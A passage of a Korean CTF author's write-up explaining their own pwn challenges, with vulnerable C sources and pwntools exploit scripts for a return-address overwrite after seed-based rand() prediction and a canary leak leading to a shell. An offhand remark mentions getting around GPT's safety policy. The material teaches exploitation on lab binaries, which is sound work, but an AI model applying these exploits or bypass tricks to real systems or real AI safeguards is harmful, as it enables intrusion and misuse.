A๋กœ buf๋ฅผ ์ฑ„์› ๊ณ , ์ดํ›„ SFP๊ฐ’์„ ๋ฎ์–ด์ฃผ์—ˆ๋‹ค

SFP์™€ bof, rao์— ๋Œ€ํ•œ ์ถ”๊ฐ€์ ์ธ ์„ค๋ช…์€ ์—ฌ๊ธฐ์„œ ๋‹ค๋ฃจ์ง€ ์•Š๊ฒ ๋‹ค (๋„ˆ๋ฌด ๊ธธ์–ด์ง)

(์งˆ๋ฌธ์ด ์žˆ๋‹ค๋ฉด? ๊ตฌ๊ธ€๋ง or dreamhack or ๊ฐœ๋ณ„์ ์œผ๋กœ DM plz)

 

DIMI{syst2m_H4ck1ng_1s_3asy!!}

 

- ํ›„๊ธฐ

์™œ BOF๋ฌธ์ œ๋Š” ํ‘ธ๋Š”๋ฐ EASY๋Š” ์•ˆ?๋ชป?ํ‘ธ๋Š”๊ฑฐ์ง€??

์™œ BOF๋ฌธ์ œ๋Š” ํ‘ธ๋Š”๋ฐ EASY๋Š” ์•ˆ?๋ชป?ํ‘ธ๋Š”๊ฑฐ์ง€??

์™œ BOF๋ฌธ์ œ๋Š” ํ‘ธ๋Š”๋ฐ EASY๋Š” ์•ˆ?๋ชป?ํ‘ธ๋Š”๊ฑฐ์ง€??

๊ทธ๋ž˜๋„ rao๋ฅผ ์•Œ๊ณ ์žˆ๋Š” ์‹ ์ž…์ƒ๋“ค์ด ์žˆ์–ด์„œ ์ข‹์•˜๋‹ค

 

# 0x08. PANDAS์˜ ์ˆ˜ํ–‰ํ‰๊ฐ€ - PWN - easy

solve : 3 / score : 964

- ์ œ์ž‘ ๋ฐฐ๊ฒฝ

๊ฐ€์žฅ ์• ์ฐฉ์ด ๊ฐ„ ๋ฌธ์ œ์ด๋‹ค

์ง„์งœ๋กœ 24๋…„ 10์›”๋ถ€ํ„ฐ ์ด ๋ฌธ์ œ๋ฅผ ๊ตฌ์ƒํ•ด์„œ, C์–ธ์–ด ์ˆ˜ํ–‰ํ‰๊ฐ€๋กœ ์ œ์ถœํ•˜์˜€๋‹ค

๊ทธ๋ฆฌ๊ณ  ์ทจ์•ฝ์ ์„ ์‚ด์ง ์ˆจ๊ฒจ์„œ DIMI CTF์— ์ถœ์ œํ•˜์˜€๋‹ค

5๊ฐœ์›” ์ „๋ถ€ํ„ฐ ๊ตฌ์ƒํ•˜๊ณ , ๋งŒ๋“  ๋ฌธ์ œ๋ผ ๊ฐ€์žฅ ์• ์ฐฉ์ด ๊ฐ„ ๋ฌธ์ œ์ด๋‹ค

๋˜ํ•œ 11์›” STEALTH research์—์„œ๋„ random crack์„ ๊ณต๋ถ€ํ•ด์„œ, random crack์„ ํ™œ์šฉํ•˜๋Š” ๋ฌธ์ œ์˜€๋‹ค (์ธํ…)

 

- ๋ฌธ์ œ ํŒŒ์ผ

๋ฌด์Šจ ํŒŒ์ผ์ด ๋งŽ๋‹ค

// prob.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define goal 1048576
void Init(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}
void start(){
    system("clear");
    printf("Welcome To Random World!!\n");
    printf("Your Goal is 1,048,576 score!\n");
    printf("Good Luck,,,:D\n\n");
}
void correct(){
    printf("!!!! Correct !!!!");
    fflush(stdout);
}
void wrong(){
    printf("!!!! NOPE !!!!");
    fflush(stdout);
}
void point(int point){
    char file_name[200];
    sprintf(file_name, "number_list/%d.txt", point);
    FILE *file = fopen(file_name, "r");
    char line[256];
    while(fgets(line, sizeof(line), file)){
        printf("%s", line);
    }
    printf("\n\n\n");
    fflush(stdout);
    fclose(file);
}
void win(){
    execve("/bin/sh", 0, 0);
}
int main(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    Init();
    start();
    srand(time(NULL));
    int count=0, user_input, user_point=1, weight=1, correct_count=0, wrong_count=0;
    while(1){
        if(user_point>=goal){
            printf("WoW! You Clear ALL Stage!!! - Enter Player's name for winning prize : ");
            fflush(stdout);
            char name[0x10];
            scanf("%s", name);
            printf("%s\n", name);
            break;
        } else {
            int set_random = rand();
            count++;
            weight = 2 << correct_count;
            if(weight < 2) weight = 2;
            printf("[STAGE %d] (point*%d) - Your Point : %d\n", count, weight, user_point);
            point(user_point);
            printf("Guess random number (odd : 1, even : 0) : ");
            fflush(stdout);
            scanf("%d", &user_input);
            if(user_input < 0 || user_input > 1){
                printf("wrong input\n");
                fflush(stdout);
                break;
            }
            printf("\n> Your Guess is %s\n", (user_input==0?"EVEN":"ODD"));
            fflush(stdout);
            sleep(1);
            printf("> hmmm......\n");
            fflush(stdout);
            sleep(1);
            printf("> Computer's Choice is : %d (%d)\n", set_random % 2, set_random);
            fflush(stdout);
            if(user_input==set_random%2){
                correct();
                user_point *= weight;
                correct_count++;
            } else {
                wrong();
                wrong_count++;
                user_point /= 4;
                if(user_point<=0) user_point=1;
            }
            printf("\n\n");
            fflush(stdout);
            if(count % 3==0){
                system("clear");
                start();
            }
        }
    }
    return 0;
}

๋ณดํ˜ธ๊ธฐ๋ฒ• ์ „๋ถ€ ํ•ด์ œ, ELFํŒŒ์ผ ์ œ๊ณต

 

- ํ’€์ด

๋‹จ์ˆœํ•˜๊ฒŒ ํ™€์ง ๋„๋ฐ•์„ ํ•˜๊ณ , ์ด๊ธฐ๋ฉด ์ ์ˆ˜๋ฅผ ๊ฐ€์ค‘์น˜ ๋งŒํผ ๊ณฑํ•ด์ฃผ๊ณ , ํ‹€๋ฆฌ๋ฉด 4๋กœ ๋‚˜๋ˆ ์ฃผ๋Š” ํ”„๋กœ๊ทธ๋žจ์ด๋‹ค

๋งŒ์•ฝ์— ๋ชฉํ‘œ ์ ์ˆ˜๋ฅผ ์ฑ„์šฐ๋ฉด ์ด๋ฆ„์„ ์ž…๋ ฅํ•˜๋„๋ก ํ•ด์ฃผ๋Š”๋ฐ, ์—ฌ๊ธฐ์„œ bof๊ฐ€ ํ„ฐ์ง€๊ณ , rao๋กœ exploitํ•˜๋ฉด ๋œ๋‹ค

์ •์„ ํ’€์ด๋Š” random์„ ์œ ์ถ”ํ•ด์„œ 6๋ฒˆ๋งŒ์— ์ด๋ฆ„์„ ์ž…๋ ฅํ•˜๊ณ  exploitํ•˜๋Š” ๊ฑด๋ฐ, ์–ธ์ธํ… ํ’€์ด๋„ ์กด์žฌํ•œ๋‹ค

4๋กœ ๋‚˜๋ˆ ์ฃผ๋ฏ€๋กœ ๊ทธ๋ƒฅ ๊ณ„์† ๋„๋‹ฌํ• ๋•Œ๊นŒ์ง€ ๋ฌดํ•œ ๋ฐ˜๋ณต์„ ํ•˜๋Š” ๊ฒƒ๋„ ํ•˜๋‚˜์˜ ๋ฐฉ๋ฒ•์ด๋‹ค

 

์ •์„ ํ’€์ด๋ฅผ ์„ค๋ช…ํ•˜์ž๋ฉด, 

๋ฌธ์ œ ํŒŒ์ผ์—์„œ srand(time(0))์œผ๋กœ seed๋ฅผ ์„ค์ •ํ•˜๊ณ , seed๋กœ random๊ฐ’์„ ๋งŒ๋“ ๋‹ค

ํ•˜์ง€๋งŒ C์–ธ์–ด์˜ ๋‚œ์ˆ˜ ์ƒ์„ฑ ๋ฐฉ์‹์€ LCG๋ฐฉ์‹์„ ์‚ฌ์šฉํ•˜๊ณ , ์ด๋Š” seed๋ฅผ ์•Œ๊ณ  ์žˆ์œผ๋ฉด random๊ฐ’์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค

seed๊ฐ€ ์‹œ๊ฐ„ ๊ธฐ๋ฐ˜์ด๋ฏ€๋กœ, ํ”„๋กœ๊ทธ๋žจ์ด ์‹œ์ž‘๋˜๋Š” ์‹œ๊ฐ„์„ ์•Œ๋ฉด random์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค

python exploit์„ ์ž‘์„ฑํ•˜๋Š”๋ฐ, ctypes๋กœ Linux์— ์žˆ๋Š” libc๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๊ณ  python์œผ๋กœ srand(time(0))๊ณผ rand()๋ฅผ ๊ตฌํ˜„ํ•˜๋ฉด ๋œ๋‹ค

์—ฌ๊ธฐ์„œ libc๋Š” C์–ธ์–ด library๋กœ c์—์„œ ์“ฐ์ด๋Š” ํ•จ์ˆ˜๋“ค์ด ์žˆ๋‹ค

๊ทธ๋ž˜์„œ python์—์„œ c์–ธ์–ด๋ฅผ ๊ทธ๋Œ€๋กœ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค

 

# exploit.py
from pwn import *
from ctypes import *

p = process("./prob")
e = ELF("./prob")

def slog(n, m): return success(" : ".join([n, hex(m)]))

libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0x00))

def crack():
    random_crack = libc.rand()%2
    p.sendlineafter(b") : ", str(random_crack).encode())
    print(random_crack)

win = e.symbols['win']

for i in range(6):
    crack()

payload = b"A"*0x30 + b"B"*0x8 + p64(win)

p.sendline(payload)

print(hex(win))

p.interactive()

 

์ด๊ฒŒ ์˜๋„ํ•œ ํ’€์ด์˜€๋‹ค

name์ด 0x10๋งŒํผ C์–ธ์–ด ์ฝ”๋“œ์—์„œ๋Š” ๋‚˜์™€์žˆ์ง€๋งŒ, gdb๋กœ ๋ถ„์„ํ•ด๋ณด๋ฉด 0x30๋งŒํผ ํ• ๋‹น์ด ๋œ๋‹ค

์ด๊ฑฐ ๋•Œ๋ฌธ์— ๋งŽ์ด ๋ชป ํ‘ผ๊ฒƒ ๊ฐ™๋‹ค,,,,

stack alignment์— ๋Œ€ํ•ด์„œ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด ์‰ฌ์› ๋˜ ๋ฌธ์ œ

 

# 0x09. ๋„๋‘‘์งˆ-1 - PWN - medium

solve : 0 / score : 1500

- ์ œ์ž‘ ๋ฐฐ๊ฒฝ

BOF์™€ rao, shellcoding๊ฐ™์€ ๊ธฐ๋ณธ์ ์ธ ๊ฒƒ๋งŒ ์žˆ์–ด์„œ medium์œผ๋กœ ๋‚ผ๋งŒํ•œ๊ฒŒ canary๋ผ canary ๋ฌธ์ œ๋ฅผ ์ถœ์ œํ•˜์˜€๋‹ค

rao๋ฅผ ํ•˜๋ฉด, SSP์ •๋„๋Š” ์‰ฝ๊ฒŒ ์šฐํšŒํ•  ๊ฒƒ์ด๋ผ๊ณ  ์ƒ๊ฐํ–ˆ์ง€๋งŒ, ๊ทธ๋Ÿฌ์ง„ ์•Š์•˜๋‹ค

 

- ๋ฌธ์ œ ํŒŒ์ผ

ํžŒํŠธ๋กœ https://en.wikipedia.org/wiki/Domestic_canary ์ด๊ฑธ ์ค€๋‹ค. ์“ธ๋ชจ๋Š” ์—†๋‹ค

// prob.c
#include <stdio.h>
#include <string.h>

void Init() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void get_shell(){
	system("/bin/sh");
}

int main(){
    Init();

    printf("Welcome to goldleo1's house :D\n");
    printf("You can steal even flag!!! (if you can HAHA)\n\n");

    char buf[0x10];
    printf("> What Do you want : ");
    read(0, buf, 0x200);
    printf(buf);

    printf("> How many do you want? : ");
    read(0, buf, 0x200);
    printf("\n!!!!!!!!!!!!!!!\n");
    printf("Goldleo1\nis\ncomming.....!!!!");
    
}

๋„์ปค, prob.c, ELFํŒŒ์ผ๋„ ์ค€๋‹ค

Canary๋งŒ ๊ฑธ๋ ค์žˆ๋‹ค

 

- ํ’€์ด

์ž ๊ทธ๋Ÿผ ์–ด๋–ป๊ฒŒ ํ‘ธ๋Š”๊ฑฐ๋ƒ ํ•˜๋ฉด, bof๊ฐ€ ํ„ฐ์ง„๋‹ค

BOF๋กœ rao๋กœ ํ•˜๋ ค๊ณ  ํ•˜๋ฉด, ์•„๋งˆ stack smashing error๊ฐ€ ๋œฐ๊ฒƒ์ด๋‹ค

๊ทธ๊ฑด ์™œ ๊ทธ๋Ÿฌ๋ƒ? ํ•˜๋ฉด canary๋ผ๊ณ  ํ•˜๋Š” ๊ฒƒ ๋•Œ๋ฌธ์ด๋‹ค

์ด ๊ฐœ๋…๋„ ์—ฌ๊ธฐ์„œ ์ž์„ธํžˆ ๋‹ค๋ฃจ๋ฉด ๋„ˆ๋ฌด ๊ธธ์–ด์ง€๋‹ˆ, ์ถ”ํ›„์— ํฌ์ŠคํŒ… ํ• ๊ฑฐ๊ณ , ๋ฌดํŠผ ์นด๋‚˜๋ฆฌ๋ผ๊ณ  ํ•˜๋Š”๊ฒŒ ์žˆ๋‹ค~ ์ •๋„๋งŒ ์•Œ๊ณ  ๋„˜์–ด๊ฐ€์ž

ํ•œ ์ค„ ์š”์•…์„ ํ•ด๋ณด๋ฉด ๋ฒ„ํผ์™€ SFP์‚ฌ์ด์— ์ž„์˜์˜ ๊ฐ’์„ ๋„ฃ์–ด์„œ BOF๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š” ๊ทธ๋Ÿฐ ์นœ๊ตฌ์ด๋‹ค

ํ•˜์ง€๋งŒ canary๋ฅผ ์•Œ์•„๋‚ด์„œ, canary check๋ฅผ ํ•˜๋Š” ๋ถ€๋ถ„์— leakํ•œ canary๋ฅผ ๋„ฃ์–ด์ฃผ๋ฉด ์ •์ƒ์ ์œผ๋กœ bof๋ฅผ ์œ ๋ฐœํ•˜๊ณ , rao๋ฅผ ํ•  ์ˆ˜ ์žˆ๋‹ค

 

# exploit.py
from pwn import *

p = process("./prob")
p = remote("dimictf.lol", 43547)
e = ELF("./prob")

def slog(n, m): return success(" : ".join([n, hex(m)]))

# pay = b"A"*0x10 + b"B"*0x8 + b"C"
pay = b"A"*0x19
p.sendafter(b"want : ", pay)

p.recvuntil(pay)
cnry = u64(b"\x00" + p.recvn(7))

slog("cnry", cnry)

get_shell = e.symbols['get_shell']
slog("[+] get_shell", get_shell)


payload = b"A"*0x18 + p64(cnry) + b"B"*0x8 + p64(get_shell+5)
p.sendlineafter(b"want? : ", payload)

p.interactive()

# This exploit code is written by Void
# Special thanks to Void!!

์ฒซ๋ฒˆ์งธ ์ž…๋ ฅ์—์„œ canary leak์„ ํ•˜๊ณ , ๋‘๋ฒˆ์งธ ์ž…๋ ฅ์—์„œ leakํ•œ canary๋กœ raoํ•ด์ฃผ๋ฉด ๋œ๋‹ค

get_shell์— 5๋ฅผ ๋”ํ•˜๋Š” ์ด์œ ๋Š” stack alignment๋•Œ๋ฌธ์ด๋ผ๊ณ  ํ•œ๋‹ค

์ด ๋ถ€๋ถ„์— ๋Œ€ํ•ด์„œ๋„ ์ถ”๊ฐ€์ ์œผ๋กœ ๊ณต๋ถ€ ํ›„, ์ƒˆ๋กญ๊ฒŒ ํฌ์ŠคํŒ… ํ•  ์˜ˆ์ •์ด๋‹ค

 

- ํ›„๊ธฐ

canary์™€ stack alignment๋ผ๋Š” ๋‚ด์šฉ๋•Œ๋ฌธ์ธ์ง€ 0์†”์ด ๋‚˜์™”๋‹ค (์ € 1์†”์€ ๋‚ด๊ฐ€ ํ‘ผ๊ฑฐ๋‹ค)

์˜ˆ์ƒ์€ ํ–ˆ์ง€๋งŒ ํ’€์ด์ž๊ฐ€ ์—†์œผ๋‹ˆ ์Šฌํ”„๋‹ค,,

์˜คํžˆ๋ ค ์ด ๋ฌธ์ œ๋Š” ๋‚ด๊ฐ€ ๋ฐฐ์šธ๊ฒŒ ๋งŽ์ด ์ƒ๊ฒผ๋‹ค

์ถ”๊ฐ€์ ์œผ๋กœ ์ด ๋ฌธ์ œ๋Š” ๋‚ด๊ฒŒ SFP์™€ stack alignment๋ฅผ ๊ณต๋ถ€ & ์ •๋ฆฌ (ํฌ์ŠคํŒ…)์ด๋ผ๋Š” ๊ณผ์ œ๋ฅผ ์ฃผ์—ˆ๋‹ค

์–ธ์  ๊ฐ„ ์ด ๊ณผ์ œ๋ฅผ ํ•˜๊ฒ ๋‹ค,,,?

 

# 0xFF. Outro

์ง€๊ธˆ๊นŒ์ง€ ์ œ๊ฐ€ ์ถœ์ œํ•œ 9๋ฌธ์ œ(misc 5, pwn 4)์— ๋Œ€ํ•œ ์ „ ๋ฌธํ•ญ ํ’€์ด๋ฅผ ๋งˆ์ณค์Šต๋‹ˆ๋‹ค

์•„๋ฌด๋ž˜๋„ ๋ธ”๋กœ๊ทธ ๊ธ€์— ์“ฐ๋Š”๊ฒƒ๋„ ํ•œ๊ณ„๊ฐ€ ์žˆ๊ณ , ์ „์ฒด์ ์ธ ํ’€์ด ๋ฐฉํ–ฅ์— ๋Œ€ํ•ด์„œ๋งŒ ์†Œ๊ฐœ๋ฅผ ํ•˜๋Š” ์ •๋„๋ผ, ๋ฌธ์ œ ํ’€์ด์— ํ•„์š”ํ•œ ๊ฐœ๋…, ํ™˜๊ฒฝ ์„ค์ •๋“ฑ์„ ๋‹ค๋ฃจ์ง€ ๋ชปํ•˜๋Š” ์ ์€ ์–‘ํ•ด ๋ฐ”๋ž๋‹ˆ๋‹ค,,

์ถ”๊ฐ€์ ์ธ ์งˆ๋ฌธ ์‚ฌํ•ญ, ํ™˜๊ฒฝ ์„ค์ •, ๋ฌธ์ œ ํŒŒ์ผ ๋“ฑ๋“ฑ๋“ฑ ๋ฌธ์˜์‚ฌํ•ญ์ด ์žˆ์œผ์‹œ๋ฉด 

https://discord.com/users/1214140734890835989 (pandas._.08 or pandas)

๋กœ DM ๋‚จ๊ฒจ์ฃผ์‹œ๋ฉด ๋„์™€๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค

์ถ”๊ฐ€์ ์œผ๋กœ ์—ฌ๋‹ด์„ ํ•ด๋ณด์ž๋ฉด, ์ €๋„ "pandas"๋ผ๋Š” hidden๋œ ์•„์ด๋””๋กœ CTF์— ์ฐธ์—ฌํ•˜์˜€์Šต๋‹ˆ๋‹ค

'์ถœ์ œ์ž๋‹ˆ๊น ๋ชจ๋“  ๋ฌธ์ œ ๋‹ค ํ’€ ์ˆ˜ ์žˆ๋Š”๊ฑฐ ์•„๋‹ˆ์•ผ?'๋ผ๊ณ  ํ•˜์‹ค ์ˆ˜ ์žˆ๊ฒ ์ง€๋งŒ, ์ œ๊ฐ€ ์ถœ์ œํ•œ pwnable, misc์— ๋Œ€ํ•œ ํ’€์ด๋Š” ์•„์ฃผ ์ž˜ ์•Œ๊ณ , ๋‹ค๋ฅธ ๋ถ„์•ผ์˜ ์ถœ์ œ์ง„๋“ค์ด ์ถœ์ œํ•œ ๋ฌธ์ œ์˜ ๋ช‡๋ช‡ ํ’€์ด๋งŒ ์•Œ์ง€, ์ €๋„ ๋‹ค๋ฅธ ๋ถ„์•ผ์˜ ๋ฌธ์ œ๋Š” ์–ด๋–ป๊ฒŒ ํ‘ธ๋Š”์ง€ ๋ชจ๋ฆ…๋‹ˆ๋‹ค,,,ใ…œ

๋‹น์—ฐํžˆ ์ถœ์ œ์ง„๋“ค์ด ํ’€์ด๋ฒ•์„ ๊ณต์œ ํ•ด์ฃผ๊ณ , ํ’€์ด ๋ฐฉ๋ฒ•์„ ์•Œ๋ ค์ค€ ๋ฌธ์ œ๋„ ์žˆ์ง€๋งŒ, ์•„์ง๋„ ๋ชป ํ’€์—ˆ์Šต๋‹ˆ๋‹ค,,,,(ejs,,,,,,๋ˆˆ ์•ž์—์„œ ํ’€์–ด์ค˜๋„ ์ดํ•ด๋ฅผ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค,,,,)

๋‹น์—ฐํžˆ ์ œ๊ฐ€ ๋ฌธ์ œ๋ฅผ ์ถœ์ œํ–ˆ์œผ๋‹ˆ, ์ž˜ ํ‘ธ๋Š”๊ฒŒ ๋งž์ง€๋งŒ, ์ƒ๊ฐ๋ณด๋‹ค ๋‹ค๋ฅธ ๋ถ„์•ผ์˜ ๋ฌธ์ œ๋“ค์ด ์‰ฝ์ง€ ์•Š์•˜๊ณ , ์ „ ๋ถ„์•ผ๋ฅผ ๋‹ค ํ’€์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค,,,

๊ฐœ์ธ์ ์ธ ์†Œ๊ฐ์œผ๋กœ๋Š”

Trinity Revenge๋Š” ์• ์ดˆ์— ๋งˆ์ธํฌ๋ž˜ํ”„ํŠธ๋ฅผ ์•ˆํ•ด์„œ ์ ˆ๋Œ€๋กœ ๋ชป ํ’€ ๊ฒƒ๊ฐ™๊ณ ,,,

Emoji๋Š” ๊ทธ๋ƒฅ ๋ชป ํ’€๊ฒ ์–ด์š”,, ํ‘ธ์‹ ๋ถ„๋“ค์ด ์ง„์งœ ๋Œ€๋‹จํ•ฉ๋‹ˆ๋‹ค

PWN์—์„œ๋„ ๋ชจ๋“  ๋ฌธ์ œ๋ฅผ ๋‹ค ๋ณธ๊ฑด ์•„๋‹ˆ์ง€๋งŒ, DIMITALK๋Š” ์•„๋งˆ ์ œ๊ฐ€ ๋ชป ํ’€ ์ˆ˜๋„ ์žˆ์„ ๊ฒƒ ๊ฐ™๋‹ค๋Š” ์ƒ๊ฐ์ด ๋“œ๋„ค์š”,,

WEB์€ ๋„๋Œ€์ฒด ์™œ ejs ์ถœ์ œ์ž๊ฐ€ ์‰ฝ๋‹ค๊ณ  "์ฃผ์žฅ"ํ•˜๋Š”์ง€๋Š” ๋ชจ๋ฅด๊ฒ ์ง€๋งŒ, ํžŒํŠธ๊ฐ€ ์ •๋ง ๋„์›€์ด ๋˜๋Š”๊ฑด ๋งž์ง€๋งŒ, ํ’€์ด ๋ฐฉ๋ฒ•์ด ์กฐ๊ธˆ์€ ์ƒ์†Œ?ํ•˜๋‹ฌ๊นŒ? ์ทจ์•ฝ์ ์„ ์ดํ•ดํ•˜๋Š” ๊ฑด ์–ด๋ ต์ง€ ์•Š์•˜์ง€๋งŒ, ์ต์Šคํ•˜๋Š” ๊ณผ์ •์—์„œ ํ•„์š”ํ•œ ์ง€์‹๊ณผ ๊ฒฝํ—˜์ด ๋ถ€์กฑํ•˜์—ฌ ์–ด๋ ต์ง€ ์•Š์•˜๋‚˜,,๋ผ๊ณ  ์กฐ์‹ฌ์Šค๋Ÿฝ๊ฒŒ ์˜ˆ์ธกํ•ฉ๋‹ˆ๋‹ค (์ €๋„ ๊ทธ๋žฌ์Šต๋‹ˆ๋‹ค)

REV๋Š” ์‰ฝ๋‹ค๊ณ ๋Š” ํ•˜์ง€๋งŒ, ์‰ฌ์šด ๋ฌธ์ œ๋Š” ์ •๋ง ์‰ฌ์šด ๋ฌธ์ œ๊ณ , ์—ฐ์Šตํ•˜๊ธฐ์— ์ •๋ง ์ข‹์€ ๋ฌธ์ œ๋“ค์ด ๋งž๋‹ค๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค, ๋‹ค๋งŒ hard๋ฌธ์ œ๋“ค์€ ์ข€ ์–ด๋ ต์Šต๋‹ˆ๋‹ค

Crypto๋Š” ๋Œ€๋ถ€๋ถ„ GPT ๋”ธ๊น์œผ๋กœ ํ’€๋ฆฌ๊ธด ํ•˜๋˜๋ฐ, o3 ์œ ๋ฃŒ๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜๋Š” ์‹ ์ž…์ƒ์ด ๋ช‡๋ช…์ด๋‚˜ ์žˆ์„๊นŒ?ํ•˜๋Š” ์งˆ๋ฌธ๊ณผ ํ™˜๊ฒฝ ์„ธํŒ… + GPT์˜ ๋ณด์•ˆ ์ •์ฑ… ์šฐํšŒ ์งˆ๋ฌธ(?) ์ด ๋ถ€๋ถ„์—์„œ ์กฐ๊ธˆ ๋ง‰ํžˆ์ง€ ์•Š์œผ์…จ์„๊นŒ ํ•˜๊ณ  ์กฐ์‹ฌ์Šค๋Ÿฝ๊ฒŒ ์˜ˆ์ธกํ•ด๋ด…๋‹ˆ๋‹ค

MISC๋ฌธ์ œ๋“ค์€, ๋ญ ๋„ˆ๋ฌด ๊ด‘๋ฒ”์œ„ ํ•˜๊ณ , ํ•ดํ‚น ์ง€์‹์ด ๊ทธ๋ฆฌ ์š”๊ตฌ๋˜๋Š” ๊ฒƒ๋„ ์•„๋‹ˆ๋‹ˆ, ๊ทธ๋ƒฅ ๊ทธ๋Ÿญ์ €๋Ÿญ ํ‘ธ์…จ์„ ๊ฒƒ ์ด๋ผ๊ณ  ์˜ˆ์ƒํ•ฉ๋‹ˆ๋‹ค

 

CTF๋ฅผ ์šด์˜ํ•ด๋ณธ ์†Œ๊ฐ์„ ํ•œ๋งˆ๋””๋กœ ์ •๋ฆฌํ•˜์ž๋ฉด "์ •๋ง์ •๋ง ํž˜๋“ฆ"์ด๋ผ๊ณ  ์ •๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

24๋…„ 10์›”๋ถ€ํ„ฐ ์ถœ์ œ๋ฅผ ์‹œ์ž‘ํ•˜์˜€๊ณ , ๋Œ€ํšŒ ์ค€๋น„์—๋งŒ 5๊ฐœ์›”์ด์ƒ ์†Œ์š”๋˜์—ˆ์Šต๋‹ˆ๋‹ค

STEALTH x TRUST ๋™์•„๋ฆฌ ์—ฐํ•ฉ์œผ๋กœ ์ง„ํ–‰๋˜๋Š” ๊ฒƒ์ด๋ฏ€๋กœ, ์ถœ์ œ์ง„๋„ ๋งŽ๊ณ , ์ „๋ถ€ ๋Œ€ํšŒ ์ถœ์ œ๊ฐ€ ์ฒ˜์Œ์ด๋‹ค๋ณด๋‹ˆ ๋…ผ์˜ํ•  ์‚ฌํ•ญ๋„ ๋งŽ๊ณ , ์ค€๋น„ํ•  ์‚ฌํ•ญ๋„ ๋งŽ์•˜์Šต๋‹ˆ๋‹ค

์‹ ์ž…์ƒ๋ถ„๋“ค์ด ๋Œ€ํšŒ๋ฅผ ๊ฒฝํ—˜ํ•œ๊ฒƒ์€ 3์ฃผ์ด์ง€๋งŒ, ์ถœ์ œ์ง„๋“ค์€ ๊ทธ๋ณด๋‹ค ํ›จ์”ฌ ๊ธด ๊ธฐ๊ฐ„๋™์•ˆ ์ค€๋น„ํ•˜์˜€์Šต๋‹ˆ๋‹ค

๋ฌธ์ œ ์•„์ด๋””์–ด๋ฅผ ๊ตฌ์ƒํ•˜๊ณ , ๋ฌธ์ œ๋ฅผ ๋งŒ๋“ค๊ณ , ๋ฌธ์ œ ๊ฒ€์ˆ˜ํ•˜๊ณ , ๋„์ปค ๊ณต๋ถ€ํ•˜๊ณ , CTFd์‚ฌ์šฉ๋ฒ• ์ตํžˆ๊ณ  ๋“ฑ๋“ฑ๋“ฑ๋“ฑ๋“ฑ๋“ฑ,,,,์—„์ฒญ๋‚˜๊ฒŒ ์—ด์‹ฌํžˆ ๋…ธ๋ ฅํ•˜์˜€์Šต๋‹ˆ๋‹ค

์ •๋ง ๊ฐ์‚ฌํ•˜๊ฒŒ๋„, ๋ถ€์กฑํ•œ ์ €๋ฅผ ์ด๋Œ์–ด์ค„ ํ›Œ๋ฅญํ•œ ์ถœ์ œ์ง„๋“ค์ด ์žˆ์—ˆ๊ธฐ์—, ๋Œ€ํšŒ๊ฐ€ ์ž˜ ๊ฐœ์ตœ๋˜์—ˆ๊ณ , ๋งˆ๋ฌด๋ฆฌ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค

๋Œ€ํšŒ ๊ฐœ์ตœ๊ฐ€ ๊ทธ๋ƒฅ ๋ฌธ์ œ๋งŒ ๋งŒ๋“ค๋ฉด ๋˜๋Š”์ค„ ์•Œ๊ณ  ์‰ฝ๊ฒŒ ๋ดค๋Š”๋ฐ, ์›น ๊ฐœ๋ฐœ + ctfD + ๋””์ฝ” ์šด์˜ + ๋ฌธ์ œ ๊ฒ€์ˆ˜ ๋“ฑ๋“ฑ๋“ฑ ์ •๋ง ๋งŽ์€์ผ์„ ํ•ด์•ผํ•˜๊ณ , ์ถœ์ œ์ง„๋“ค์ด ๋ชจ๋‘๊ฐ€ ๊ฐ์ž์˜ ๋ถ„์•ผ์—์„œ ์—ด์‹ฌํžˆ ๋…ธ๋ ฅํ•ด์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค

์ •๋ง ๋งŽ์€ ๊ฑธ ๋ฐฐ์šฐ๊ณ , ๋‹ค์‹œ ํ•œ ๋ฒˆ ๊ณต๋ถ€ํ•˜๊ฒŒ๋œ ๊ณ„๊ธฐ๊ฐ€ ๋˜์–ด์„œ ์ •๋ง ์ข‹์•˜์Šต๋‹ˆ๋‹ค

 

์ด ์ž๋ฆฌ๋ฅผ ๋นŒ์–ด์„œ ์ถœ์ œ์ง„๋“ค๊ณผ ์ฐธ๊ฐ€์ž๋ถ„๋“ค๊ป˜ ์ •๋ง ๊ฐ์‚ฌํ•˜๋‹ค๋Š” ๋ง์”€์„ ์ „ํ•˜๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค

๋˜ํ•œ ์ž‘๋…„, ๊ทธ ์ด์ „๋ถ€ํ„ฐ DIMI CTF๋ฅผ ๊ฐœ์ตœํ•ด์ฃผ์‹œ๊ณ , ์ €ํฌ์—๊ฒŒ ๋งŽ์€ ๋„์›€์„ ์ฃผ์‹  ์„ ๋ฐฐ๋‹˜๋“ค, ์ •๋ง ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค

 

